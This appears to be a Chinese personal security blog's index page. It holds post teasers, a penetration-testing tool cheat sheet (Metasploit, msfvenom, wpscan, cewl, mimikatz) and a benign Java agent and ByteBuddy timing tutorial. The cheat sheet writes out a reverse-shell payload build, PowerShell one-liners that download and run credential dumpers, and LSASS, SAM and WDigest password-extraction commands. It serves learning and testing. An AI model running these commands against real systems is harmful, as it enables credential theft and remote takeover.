0%

之前一直不理解这个jndi到底是啥,一堆java的协议看得很糊涂不知啥用,今天仔细来看看结合工具利用jndi注入

Read more »

前言

为啥会有这篇博客呢,因为我在一个坑里面掉了两次…

这两周在实习,还算是适应,体会就是自己真的太菜了….大佬云集

特别是源码的升级和追踪方面,记录一下第二次遇到这个问题

mentor跟我说的时候这是血的教训,跑服务的时候跑着跑着内存炸了,最后发现是正则的问题

Read more »

前言

之前用过ubuntu自带的一个远程软件,还是图形化的,也支持rdp协议 叫remmina,那体验真的拉胯,只能显示一1/4屏幕…

Read more »

metaspolit

默认使用msfconsole进入这个交互式命令行工具,

然后主要是有几种模式

  1. 直接利用payload

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    # 搜索漏洞payload
    msf6 > search [key_word]
    # 选中payload
    msf6 > use [上一步搜出来的payload name]
    # 设置payload参数,key忽略大小写
    msf6 > set key value
    # 显示payload参数
    msf6 > options
    # 运行payload
    msf6 > run

    注意这个依旧是msfconsole模式就是交互式命令行模式

  2. 利用指定的payload监听

    1
    2
    3
    4
    5
    6
    msf6 > use exploit/multi/handler        # 加载模块
    msf6 > set [payload_name] # 设置名字
    msf6 > set [options_key] [options_value] # 设置该payload的options键值
    # 开始监听
    msf6 > run

上面两个如果run完成了之后执行shell命令就进入了meterperter即已经进入了系统内部shell环境,所以个人理解这个meterperter是准备持久化

  1. 使用msf生成后门

    这是另一个模块msfvenom的内容

    example:

    • 生成二进制文件

msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=192.168.100.103 LPORT=4444 -f raw > beacon.bin

  • 生成其他类型只需要改-f的属性就行

wpscan

此工具主要用来扫描worldpress这个博客框架,这个应该更加靠近web渗透那一侧,就先放在这里做工具整理

world press scan

它使用R的包管理构建,或者使用docker,kali自带。

我的系统是ubuntu所以采用了前者构建,详见之前打这个靶场的时候记录

参数和用法很简单

1
2
3
4
5
#使用默认配置扫网站
wpscan --url [目标网站]
# 使用--stealthy可以静默扫描防止网站发现
--enumertate可以爆破用户名使用它的时候加上--plugins-detection检测插件选项,默认是不检查
-u 是枚举用户名

cewl

这是一个字典生成器-h可以看到所有的选项

记录下常用选项

1
2
3
4
5
6
7
8
9
10
#默认方法直接吧生成的字典
cewl url
# -w生成到指定文件
cewl url -w dict.txt
# 计算重复的单词次数
cewl url -c
# -d 爬取深度3层
cewl url -d 3
# -e获取email信息
# --with-numbers包括数字和字符

mimikatz

这个工具是我新接触的,记录一下使用的姿势

主要就是一个后渗透的工具,针对拿到了shell但是没有更高的权限时

针对windows系统

Mimikatz 是一款功能强大的轻量级调试神器,通过它你可以提升进程权限注入进程读取进程内存,当然他最大的亮点就是他可以直接从 lsass.exe 进程中获取当前登录系统用户名的密码, lsass是微软Windows系统的安全机制它主要用于本地安全和登陆策略,通常我们在登陆系统时输入密码之后,密码便会储存在 lsass内存中,经过其 wdigest 和 tspkg 两个模块调用后,对其使用可逆的算法进行加密并存储在内存之中, 而 mimikatz 正是通过对lsass逆算获取到明文密码!也就是说只要你不重启电脑,就可以通过他获取到登陆密码,只限当前登陆系统!

注:但是在安装了KB2871997补丁或者系统版本大于windows server 2012时,系统的内存中就不再保存明文的密码,这样利用mimikatz就不能从内存中读出明文密码了。mimikatz的使用需要administrator用户执行,administrators中的其他用户都不行。

使用powershell获取密码

1
2
#读取密码明文(需要管理员权限)
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz –DumpCerts
1
2
#读取密码hash值(需要管理员权限)
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1');Get-PassHashes

本地执行

下载mimikatz程序,找到自己系统对应的位数,右键以管理员身份运行:

1
2
3
4
5
#提升权限
privilege::debug

#抓取密码
sekurlsa::logonpasswords

当目标为win10或2012R2以上时,默认在内存缓存中禁止保存明文密码,但可以通过修改注册表的方式抓取明文。

cmd修改注册表命令:

1
2
Copyreg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
#重启或用户重新登录后可以成功抓取

SAM表获取hash

1
2
3
4
5
6
#导出SAM数据
reg save HKLM\SYSTEM SYSTEM
reg save HKLM\SAM SAM

#使用mimikatz提取hash
lsadump::sam /sam:SAM /system:SYSTEM

还有和很多姿势,因为对windows很多安全机制不了解(比如域控中的成员hash,哈系传递攻击,票据传递攻击包括这个工具本身的免杀)先挖个坑,之后补全

参考

https://www.cnblogs.com/-mo-/p/11890232.html

https://www.freebuf.com/articles/network/190128.html

昨天整了半天没有整出来的那个结果最后是一个包名引用错了..

在MANIFEST.MF中使用的包名和我自己的包名没有对上…

首先搬运这个师傅关于java Instrument的原理

javaagent

在maven项目里面修改pom.xml文件然后添加入build的选项

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<packaging>jar</packaging>
<build>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-jar-plugin</artifactId>
<version>2.2</version>
<configuration>
<archive>
<manifestEntries>
<Project-name>javaagent</Project-name>
<Project-version>1.0</Project-version>
<Premain-Class>com.javaagent.MyAgent</Premain-Class>
<Can-Redefine-Classes>true</Can-Redefine-Classes>
<Can-Retransform-Classes>true</Can-Retransform-Classes>
</manifestEntries>
</archive>
<skip>true</skip>
</configuration>
</plugin>


<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-compiler-plugin</artifactId>
<configuration>
<source>1.7</source>
<target>1.7</target>
</configuration>
</plugin>
</plugins>
</build>

加入packing和build标签,

首先做一个MyAgent类,导入了java.lang.instrument.Instrumentation的接口

这是一个Java1.6加进来的接口,作用就是你通过jvmti代理引用程序来jvm的访问(主要用于类的动态改变和操作),这里只是将其用于一个在main函数执行之前的劫持并加载我们自己的类。

1
2
3
4
5
6
7
8
9
10
11
//src/main/java/com/javaagent/MyAgent.java
package com.javaagent;

import java.lang.instrument.Instrumentation;

public class MyAgent {
public static void premain(String args, Instrumentation instrumentation) throws Exception {
System.out.println("Hello javaagent permain:"+args);
}
}

上面这个premain方法就是Instrmentation中提供的一个方法,可以在main运行前先运行premain函数里面的内容。

接下来定义新一个新的类用来执行main函数

1
2
3
4
5
6
7
//src/test/java/MyAgentTest.java
public class MyAgentTest {
public static void main(String[] args) {
System.out.println("main");
}
}

编辑一下MANIFEST.MF文件

在这个函数中需要定义好一个Premain-Class选项,这个用于定位刚刚写的MyAgent那个包含了Premain函数的类(就是包中类的位置),配置项填错就没法运行。

然后使用maven build这个package

最后配置vm options来添加一个javaagent在启动时添加参数

-javaagent:这里是之前package打包出来的jar包路径.jar=1

后面的参数1是premain函数接收的参数args。

最后运行这个MyAgentTest.java

使用ByteBuddy构建一个java Agent

只需要加依赖然后修改一下就好,添加两个依赖,和之前文章一样先导入ByteBuddy

1
2
3
4
5
6
7
8
9
10
11
12
<dependency>
<groupId>net.bytebuddy</groupId>
<artifactId>byte-buddy</artifactId>
<version>1.12.2</version>
</dependency>
<!-- https://mvnrepository.com/artifact/net.bytebuddy/byte-buddy-agent -->
<dependency>
<groupId>net.bytebuddy</groupId>
<artifactId>byte-buddy-agent</artifactId>
<version>1.12.2</version>
<scope>test</scope>
</dependency>

重写premain方法

官方教程给的使用ByteBuddy创建一个java Agent的方法

创建 Java Agents

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
class ToStringAgent {
public static void premain(String arguments, Instrumentation instrumentation) {
new AgentBuilder.Default()
.type(isAnnotatedWith(ToString.class))
.transform(new AgentBuilder.Transformer() {
@Override
public DynamicType.Builder transform(DynamicType.Builder builder,
TypeDescription typeDescription,
ClassLoader classloader) {
return builder.method(named("toString"))
.intercept(FixedValue.value("transformed"));
}
}).installOn(instrumentation);
}
}

然后根据这个形式去写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
package com.javaagent;

import net.bytebuddy.agent.builder.AgentBuilder;
import net.bytebuddy.description.method.MethodDescription;
import net.bytebuddy.description.type.TypeDescription;
import net.bytebuddy.dynamic.DynamicType;
import net.bytebuddy.implementation.MethodDelegation;
import net.bytebuddy.matcher.ElementMatchers;
import net.bytebuddy.utility.JavaModule;

import java.lang.instrument.Instrumentation;

public class MyAgent {
public static void premain(String args, Instrumentation instrumentation) throws Exception {
// System.out.println("Hello javaagent permain:"+args);
System.out.println("this is an perform monitor agent.");

AgentBuilder.Transformer transformer = new AgentBuilder.Transformer() {
@Override
public DynamicType.Builder<?> transform(DynamicType.Builder<?> builder, TypeDescription typeDescription, ClassLoader classLoader, JavaModule module) {
return builder
.method(ElementMatchers.<MethodDescription>any()) // 拦截任意方法
.intercept(MethodDelegation.to(TimeInterceptor.class)); // 委托
}

};

AgentBuilder.Listener listener = new AgentBuilder.Listener() {
@Override
public void onDiscovery(String typeName, ClassLoader classLoader, JavaModule module, boolean loaded) {

}

@Override
public void onTransformation(TypeDescription typeDescription, ClassLoader classLoader, JavaModule module, boolean loaded, DynamicType dynamicType) {

}

@Override
public void onIgnored(TypeDescription typeDescription, ClassLoader classLoader, JavaModule module, boolean loaded) {

}

@Override
public void onError(String typeName, ClassLoader classLoader, JavaModule module, boolean loaded, Throwable throwable) {

}

@Override
public void onComplete(String typeName, ClassLoader classLoader, JavaModule module, boolean loaded) {

}
};

new AgentBuilder
.Default()
.type(ElementMatchers.nameStartsWith("com.javaagent.MyAgentTest")) // 指定需要拦截的类
.transform(transformer)
.with(listener)
.installOn(instrumentation);
}

}


实现委托

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
package com.javaagent;

import net.bytebuddy.implementation.bind.annotation.Origin;
import net.bytebuddy.implementation.bind.annotation.RuntimeType;
import net.bytebuddy.implementation.bind.annotation.SuperCall;

import java.lang.reflect.Method;
import java.util.concurrent.Callable;

public class TimeInterceptor {
@RuntimeType
public static Object intercept(@Origin Method method,
@SuperCall Callable<?> callable) throws Exception {
long start = System.currentTimeMillis();
try {
// 原有函数执行
return callable.call();
} finally {
System.out.println(method + ": took " + (System.currentTimeMillis() - start) + "ms");
}
}
}

MyAgentTest进行调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
package com.javaagent;

public class MyAgentTest {
// public static void main(String[] args) {
// System.out.println("main");
// }
private void fun1() throws Exception {
System.out.println("this is fun 1.");
Thread.sleep(500);
}

private void fun2() throws Exception {
System.out.println("this is fun 2.");
Thread.sleep(500);
}

// -javaagent:这里依旧是包的路径/javaagent-1.0-SNAPSHOT.jar
public static void main(String[] args) throws Exception {
MyAgentTest test = new MyAgentTest();
test.fun1();
test.fun2();

}
}

​ 同样先build然后在进行运行

参考

http://www.jinyunlong.xyz/articles/2021/05/15/1621089190040.html

https://www.cnblogs.com/tr1ple/p/12709402.html

https://github.com/hawkingfoo/demo-agent

http://rui0.cn/archives/1063

http://www.noobyard.com/article/p-smvzgpzs-dh.html

折腾了好久的javaagent不知为何就是不能在load类的时候进行其他类的执行,先放一放,了解一下ByteBuddy的使用

Byte Buddy 是一个代码生成和操作库,用于在Java应用程序运行时创建和修改Java类,而无需编译器的帮助。除了Java类库附带的代码生成实用程序外,Byte Buddy还允许创建任意类,并且不限于实现用于创建运行时代理的接口。此外,Byte Buddy提供了一种方便的API,可以使用Java代理或在构建过程中手动更改类。

比起javassist,asm,bcel起来都比较简单

个人理解就是为了解决Java静态语言的不方便之处,通过直接生成字节码然后使用JVM运行,和反射机制有点像,但是比反射机制效率更高,因为是生成字节码直接跑java虚拟机。

Read more »

问题

今天新拉了一个frp的版本装在腾讯云的小鸡上,然后测试了一下发现咋配置都不能使token两边匹配

疯狂给我报这个错误

服务端

register control error: token in login doesn’t match token from configuration

客户端

login to server failed: token in login doesn’t match token from configuration token in login doesn’t match token from configuration

然后我懵了,百思的不得其解,盯着token看了好几遍完全一样啊

Read more »